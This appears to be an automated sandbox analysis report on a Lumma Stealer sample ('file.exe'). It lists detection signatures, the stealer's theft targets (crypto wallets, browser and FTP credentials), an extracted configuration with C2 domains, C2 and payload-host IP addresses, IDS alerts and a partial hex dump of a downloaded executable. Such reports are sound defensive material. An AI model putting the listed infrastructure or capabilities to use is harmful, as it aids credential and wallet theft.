Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559011
MD5:	c6774985fc109440ce01c0bdf1978a96
SHA1:	6c3c8e16544c299ee31175d7796679da0bf33736
SHA256:	eaa41c656c107cadd3ecd84eb6f9338185db27b7ed156e8244446fa46b3b936b
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6148 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C6774985FC109440CE01C0BDF1978A96)

chrome.exe (PID: 2360 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7268 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,10312143833214285675,2582168569992251965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 428 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1908,i,3294702590203488965,14854174447788199896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "processhol.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1683420078.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1683039757.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6148	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6148	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6148	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T03:20:35.771074+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	188.114.96.3	443	TCP
2024-11-20T03:20:36.938315+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-20T03:20:38.357443+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	188.114.96.3	443	TCP
2024-11-20T03:20:39.971947+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	188.114.96.3	443	TCP
2024-11-20T03:20:41.480135+0100	2028371	3	Unknown Traffic	192.168.2.8	49711	188.114.96.3	443	TCP
2024-11-20T03:20:43.376586+0100	2028371	3	Unknown Traffic	192.168.2.8	49712	188.114.96.3	443	TCP
2024-11-20T03:20:44.766688+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	188.114.96.3	443	TCP
2024-11-20T03:20:48.162073+0100	2028371	3	Unknown Traffic	192.168.2.8	49714	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T03:20:36.208496+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49707	188.114.96.3	443	TCP
2024-11-20T03:20:37.531095+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-20T03:20:48.598321+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49714	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T03:20:36.208496+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49707	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T03:20:37.531095+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49708	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T03:20:49.351585+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49715	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T03:20:43.801328+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49712	188.114.96.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T03:20:44.771265+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49713	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.1912859198.00000000060E2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1791593341.0000000008010000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49708 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 02:20:49 GMTContent-Type: application/octet-streamContent-Length: 2847744Last-Modified: Wed, 20 Nov 2024 02:17:05 GMTConnection: keep-aliveETag: "673d46a1-2b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 77 61 73 65 79 6d 67 00 20 2b 00 00 a0 00 00 00 14 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6b 73 72 72 6d 76 00 20 00 00 00 c0 2b 00 00 04 00 00 00 4e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 52 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49715 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49827 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2rdR+NpUGG9blug&MD=NgHsSw1y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2rdR+NpUGG9blug&MD=NgHsSw1y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
